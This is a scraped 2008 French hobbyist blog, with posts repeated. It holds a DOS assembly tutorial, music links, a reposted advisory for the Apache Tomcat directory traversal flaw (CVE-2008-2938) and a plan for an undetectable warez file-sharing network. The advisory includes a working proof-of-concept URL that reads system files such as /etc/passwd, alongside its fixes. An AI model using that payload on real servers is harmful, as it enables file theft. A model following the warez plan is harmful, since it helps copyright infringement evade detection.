fin:
mov ax,0x4c
; On met 0x4c dans ax, 0x4c est le numéro de la fonction qui sert à quitter le programme
int 0x21
; On appelle l'interruption 0x21
Petite table des Interruptions DOS, non-exhaustive et reprise des cours de Haypo:
* 01h: Lancement d'un programme en mode pas-à-pas (permet de le débogueur).
* 02h: Interruption non masquable.
* 03h: Erreur de rupture.
* 04h: Erreur de dépassement (par calcul, exemple : "mov al, 200 ; add al,140" -> 340 > 255 !!!).
* 05h "Imprime écran", imprime une copie de l'écran en mode texte.
* 08h: Horloge tournant à 18.6 clics/seconde.
* 09h: Lecture du clavier. La touche est codée avec un 'code clavier' (scan code en anglais) traduit en code standart ASCII par l'interruption 16h.
* 0Bh: Gestion du port COM2.
* 0Ch: Gestion du port COM1.
* 10h: Gestion de la carte vidéo.
* 11h : Liste de configuration (mémoire, nombre de ports COM, co-processeur, ...).
* 12h: Taille de la mémoire basse (640 Ko maximum).
* 13h: Gestion des différents disques.
* 14h: Gestion de l'interface série (ports COM, voir les interruptions 0Bh et 0Ch).
* 15h: Manette de jeu, cassette et TopView.
* 16h: Conversion du code de la touche (lu par l'interruption 09h) en code standart ASCII.
* 17h: Gestion de l'imprimante.
* 18h: Rom BASIC.
* 19h: Rountine de chargement du DOS.
* 1Ah: Gestion de l'heure réelle.
* 1Bh: Surveille la pression de la combinaison de touche 'CTRL + C'.
* 1Ch: Chronomètre clic/clic à la vitesse de l'horloge 08h : 18.6 Hz. Sa valeur est stockée à l'emplacement 0040h: 0060h.
* 1Dh: La table d'initialisation vidéo.
* 1Eh: La table de paramètre des disquettes.
* 1Fh: La table des caractères graphiques.
* 20h: L'interruption DOS : Fin d'un programme au format COM (le format EXE est largement plus répendu aujourd'hui).
* 21h: L'interruption DOS : Fonctions universelles (disque dur, horloge, ...).
* 22h: L'interruption DOS : Adresse de fin de processus.
* 23h: L'interruption DOS : Surveille CTRL + PAUSE (ou CTRL + BREAK).
* 24h: L'interruption DOS : Erreur fatale d'un vecteur d'interruption.
* 25h: L'interruption DOS : Lecture directe d'un disque.
* 26h: L'interruption DOS : Ecriture directe sur un disque.
* 27h: L'interruption DOS : Programmes résidents.
* 28h: Fin d'un programme restant résidant en mémoire.
* 2Fh: Interruption pour plusieurs sous programmes. Gestion du réseau, driver CD-Rom MSCDEX, ...
Il y en a apparement une liste plus fournie ici: http://www.delorie.com/djgpp/doc/rbinter/
Regardons maintenant le schema simplifié du PSP:
Ben maintenant, on à écrit un programme en assembleur Nasm, va peut être finir par falloir... l'assembler justement... Comment on fait? On cherche :]
So, pour assembler, on va tout simplement faire
nasm programme1.asm -o programme1.com
Wahou, ca y est, je pense que maintenant nous sommes de vrais fous! La suite un de ces 4 :p
Byebye
Surf Session du Mardi, riz dans les raviolis...
Ca c'est supayr, pis ya des zanimaux:
Bat For Lashes - What's a girl to do
Une petite pour un des mes amis qu'il n'est pas la peine de citer, vu que je suis le seul a le connaitre:
Vieux, moche, pas trop connu... Légendaire:
Hallucinogen - LSD (Album Twisted)
Et puis bien sur... LE grand classique :
A part ca il s'en passe un peu sur le net, attention aux zyeux les emo geeks transpirants (je suis pas dans le tas) : C'est ICI.
Un dernier pour se dire au revoir:
Infected Msuhroom - Becoming Insane
Bat For Lashes - What's a girl to do
Une petite pour un des mes amis qu'il n'est pas la peine de citer, vu que je suis le seul a le connaitre:
Vieux, moche, pas trop connu... Légendaire:
Hallucinogen - LSD (Album Twisted)
Et puis bien sur... LE grand classique :
A part ca il s'en passe un peu sur le net, attention aux zyeux les emo geeks transpirants (je suis pas dans le tas) : C'est ICI.
Un dernier pour se dire au revoir:
Infected Msuhroom - Becoming Insane
lundi 11 août 2008
Haha! Saloperie de Tomcat...
... c'est de la merde, je lacherais jamais l'affaire :p
Title: Apache Tomcat Directory Traversal Vulnerability
Author: Simon Ryeo(bar4mi (at) gmail.com, barami (at) ahnlab.com)
Severity: High
Impact: Remote File Disclosure
Vulnerable Version: prior to 6.0.18
Solution:
- Best Choice: Upgrade to 6.0.18 (http://tomcat.apache.org)
- Hot fix: Disable allowLinking or do not set URIencoding to utf8 in order to avoid this vulnerability.
- Tomcat 5.5.x and 4.1.x Users: The fix will be included in the next releases. Please apply the hot fix until next release.
References:
- http://tomcat.apache.org/security.html
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938
History:
- 07.17.2008: Initiate notify (To Apache Security Team)
- 08.02.2008: Responsed this problem fixed and released new version
- 08.05.2008: Notify disclosure (To Apache Tomcat Security Team)
- 08.10.2008: Responsed with some suggestions.
Description
As Apache Security Team, this problem occurs because of JAVA side.
If your context.xml or server.xml allows 'allowLinking'and 'URIencoding' as
'UTF-8', an attacker can obtain your important system files.(e.g. /etc/passwd)
Exploit
If your webroot directory has three depth(e.g /usr/local/wwwroot), An
attacker can access arbitrary files as below. (Proof-of-concept)
http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar
# milw0rm.com [2008-08-11]
Et puis, tant qu'on parle de Milw0rm, un petit truc que j'avais plutôt bien aimé : ICI
Title: Apache Tomcat Directory Traversal Vulnerability
Author: Simon Ryeo(bar4mi (at) gmail.com, barami (at) ahnlab.com)
Severity: High
Impact: Remote File Disclosure
Vulnerable Version: prior to 6.0.18
Solution:
- Best Choice: Upgrade to 6.0.18 (http://tomcat.apache.org)
- Hot fix: Disable allowLinking or do not set URIencoding to utf8 in order to avoid this vulnerability.
- Tomcat 5.5.x and 4.1.x Users: The fix will be included in the next releases. Please apply the hot fix until next release.
References:
- http://tomcat.apache.org/security.html
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938
History:
- 07.17.2008: Initiate notify (To Apache Security Team)
- 08.02.2008: Responsed this problem fixed and released new version
- 08.05.2008: Notify disclosure (To Apache Tomcat Security Team)
- 08.10.2008: Responsed with some suggestions.
Description
As Apache Security Team, this problem occurs because of JAVA side.
If your context.xml or server.xml allows 'allowLinking'and 'URIencoding' as
'UTF-8', an attacker can obtain your important system files.(e.g. /etc/passwd)
Exploit
If your webroot directory has three depth(e.g /usr/local/wwwroot), An
attacker can access arbitrary files as below. (Proof-of-concept)
http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar
# milw0rm.com [2008-08-11]
Et puis, tant qu'on parle de Milw0rm, un petit truc que j'avais plutôt bien aimé : ICI
Un peu de SéRiEuX?
Un petit truc auquel j'ai pensé.... Un machin pour lequel faudrait un peu de gens motivés en fait (des coderz hein, les autres, crevez).
Alors voila, je pense qu'il est possible de monter un réseau warez pratiquement indétectable et cela assez simplement :]
Le principe :p :
- Chaque fichier proposé est chiffré dans son intégralité.
- Le fichier chiffré est splité en une multitude de petits fichiers (disons que 50 pour un fichier de 700 Mo saybien).
- On génère des noms de fichiers aléatoires pour ces fichiers.
- Les fichiers sont répartis sur une multitude de serveurs Web et FTP, l'adresse de chaque fragment est consignée en base de données et un fichier rassemblant des informations importantes est généré (adresse de chaque fragment, nombre de fragments, checksum...).
- Ce fichier est stocké sur un serveur Web et indexé par un moteur de recherche.
Dans la pratique, comment on leech? :D
Il faudra tout d'abord être inscrit (clef de chiffrement oblige). Et la j'ai fait un schéma pour expliquer la suite!!! (Je me dématérialise complètement devant la toute puissance de MS Viso)
Alors...
1 - Le client récupère le fichier via l'interface Web
2 - Le fichier est ouvert par un exécutable (fourni sur le site Web)
3 - Cet exécutable va vérifier la disponibilité des fragments et leurs adresses
4 - Le programme récupère ensuite la liste des adresses des fragments et met à jour le fichier de départ sur le serveur Web, si nécessaire.
5 - Le programme télécharge chaque fragment du fichier.
6 - Les fragments sont rassemblés et déchiffrés.
[...] A suivre :]
Alors voila, je pense qu'il est possible de monter un réseau warez pratiquement indétectable et cela assez simplement :]
Le principe :p :
- Chaque fichier proposé est chiffré dans son intégralité.
- Le fichier chiffré est splité en une multitude de petits fichiers (disons que 50 pour un fichier de 700 Mo saybien).
- On génère des noms de fichiers aléatoires pour ces fichiers.
- Les fichiers sont répartis sur une multitude de serveurs Web et FTP, l'adresse de chaque fragment est consignée en base de données et un fichier rassemblant des informations importantes est généré (adresse de chaque fragment, nombre de fragments, checksum...).
- Ce fichier est stocké sur un serveur Web et indexé par un moteur de recherche.
Dans la pratique, comment on leech? :D
Il faudra tout d'abord être inscrit (clef de chiffrement oblige). Et la j'ai fait un schéma pour expliquer la suite!!! (Je me dématérialise complètement devant la toute puissance de MS Viso)
Alors...
1 - Le client récupère le fichier via l'interface Web
2 - Le fichier est ouvert par un exécutable (fourni sur le site Web)
3 - Cet exécutable va vérifier la disponibilité des fragments et leurs adresses
4 - Le programme récupère ensuite la liste des adresses des fragments et met à jour le fichier de départ sur le serveur Web, si nécessaire.
5 - Le programme télécharge chaque fragment du fichier.
6 - Les fragments sont rassemblés et déchiffrés.
[...] A suivre :]
Semaine 1, Jour 1 : Déja plus de vivres...
... reste une tablette de chocolat
Spécialement pour mon AzTeK préféré:
DJ Kash - Chocolat
"Le rap était nul, on a fait redevenir ca bien" :
TTC - Végétarienne
Spécialement pour mon AzTeK préféré:
DJ Kash - Chocolat
"Le rap était nul, on a fait redevenir ca bien" :
TTC - Végétarienne
dimanche 10 août 2008
Ouverturage d'un blog 0o
Je ne sait trop quoi faire en ce dimanche (matin?) d'Aout, alors je me dis pourquoi pas ouvrir un blogalacon comme tout le monde? Hum voila c'est fait et je me retrouve obligé de publier un premier billet -_- J'ai faim, mal au crane et je sais pas quoi écrire, donc, je vais poster ce que je suis en train d'écouter, ca ira plus vite.
Bon... c'est usé, on y moleste des grands mères et des représentants des forces de l'ordre, mais l'effet musical recherché est présent :p
"Un clip indiffusable à la TV pour un titre indiffusable en radio"
Justice - Stress
Bon... c'est usé, on y moleste des grands mères et des représentants des forces de l'ordre, mais l'effet musical recherché est présent :p
"Un clip indiffusable à la TV pour un titre indiffusable en radio"
Justice - Stress
Inscription à :
Articles (Atom)